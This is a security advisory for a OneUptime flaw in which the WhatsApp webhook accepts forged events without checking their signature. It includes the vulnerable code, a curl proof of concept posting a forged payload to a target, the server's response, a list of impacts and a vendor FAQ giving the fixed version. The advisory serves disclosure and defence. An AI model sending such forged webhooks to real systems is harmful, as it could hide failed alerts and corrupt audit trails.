CVE-2026-33143

The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.

Details

Vulnerable code, App/FeatureSet/Notification/API/WhatsApp.ts lines 372-430:

router.post(
  "/webhook",
  async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
    try {
      const body: JSONObject = req.body as JSONObject;
      // NO signature verification! No X-Hub-Signature-256 check!

      if (
        (body["object"] as string | undefined) !== "whatsapp_business_account"
      ) {
        return Response.sendEmptySuccessResponse(req, res);
      }

      const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined;
      // ... processes entries and updates WhatsApp log status records

Compare with the Slack webhook which correctly validates signatures:

Common/Server/Middleware/SlackAuthorization.ts line 58:

const isValid = crypto.timingSafeEqual(
    Buffer.from(computedSignature),
    Buffer.from(slackSignature)
);

The WhatsApp GET webhook correctly validates the verify token, only the POST handler (which processes actual events) is missing signature verification.

No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.

PoC

Environment: OneUptime v10.0.23 via docker compose up (default configuration)

# Forge a delivery status update for any WhatsApp notification, no auth, no signature
curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \
  -H "Content-Type: application/json" \
  -d '{
    "object": "whatsapp_business_account",
    "entry": [{
      "id": "FAKE_WABA_ID",
      "changes": [{
        "value": {
          "messaging_product": "whatsapp",
          "metadata": {
            "display_phone_number": "+15550000000",
            "phone_number_id": "FAKE_PHONE_ID"
          },
          "messages": [{
            "from": "15551234567",
            "id": "wamid.FAKE",
            "timestamp": "1234567890",
            "text": {"body": "INJECTED_MESSAGE"},
            "type": "text"
          }]
        },
        "field": "messages"
      }]
    }]
  }'

Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):

< HTTP/1.1 200 OK
{}

• Fake WhatsApp webhook payload accepted with HTTP 200
• No X-Hub-Signature-256 header provided, no signature verification at all
• Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates

Any unauthenticated remote attacker can forge WhatsApp webhook events:

• False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators
• Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation
• Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails
• Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries

Kodem intelligence

1. What is CVE-2026-33143? CVE-2026-33143 is a high-severity security vulnerability in oneuptime (npm), affecting versions < 10.0.34. It is fixed in 10.0.34.
2. Which versions of oneuptime are affected by CVE-2026-33143? oneuptime (npm) versions < 10.0.34 is affected.
3. Is there a fix for CVE-2026-33143? Yes. CVE-2026-33143 is fixed in 10.0.34. Upgrade to this version or later.
4. Is CVE-2026-33143 exploitable, and should I be worried? Whether CVE-2026-33143 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-33143 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-33143? Upgrade oneuptime to 10.0.34 or later.